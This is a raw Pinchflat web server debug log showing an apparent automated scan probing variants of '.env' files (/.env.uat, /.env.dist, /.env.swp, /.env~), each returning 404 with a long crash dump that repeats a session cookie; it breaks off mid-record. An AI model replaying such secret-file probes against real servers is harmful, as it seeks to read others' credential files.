idle=272.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:08.309 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:08.310 [error] #PID<0.3331.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 27) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.uat ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.uat", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 27, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3331.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.uat", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6H80_ANrZEUAAQaB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.uat", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 27, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.uat", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 27, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchf (truncated) 02:10:08.444 [info] GET /.env.dist 02:10:08.446 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=408.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:08.446 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=280.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:08.446 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:08.447 [error] #PID<0.3332.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 28) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.dist ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dist", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 28, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3332.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.dist", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6IdhmaZ-EF0AAQbB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dist", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 28, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dist", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 28, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "p (truncated) 02:10:08.599 [info] GET /.env.swp 02:10:08.600 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=434.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:08.601 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=291.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:08.601 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:08.601 [error] #PID<0.3333.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 29) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.swp ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.swp", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 29, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3333.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.swp", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6JCY6AJUpNkAAQcB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.swp", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 29, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.swp", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 29, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchf (truncated) 02:10:08.736 [info] GET /.env~ 02:10:08.738 [debug] QUERY OK source="settings" db=0.8ms idle=427.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:08.739 [debug] QUERY OK source="settings" db=0.4ms idle=292.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:08.739 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:08.739 [error] #PID<0.3334.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 30) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env~ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env~", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 30, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3334.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", 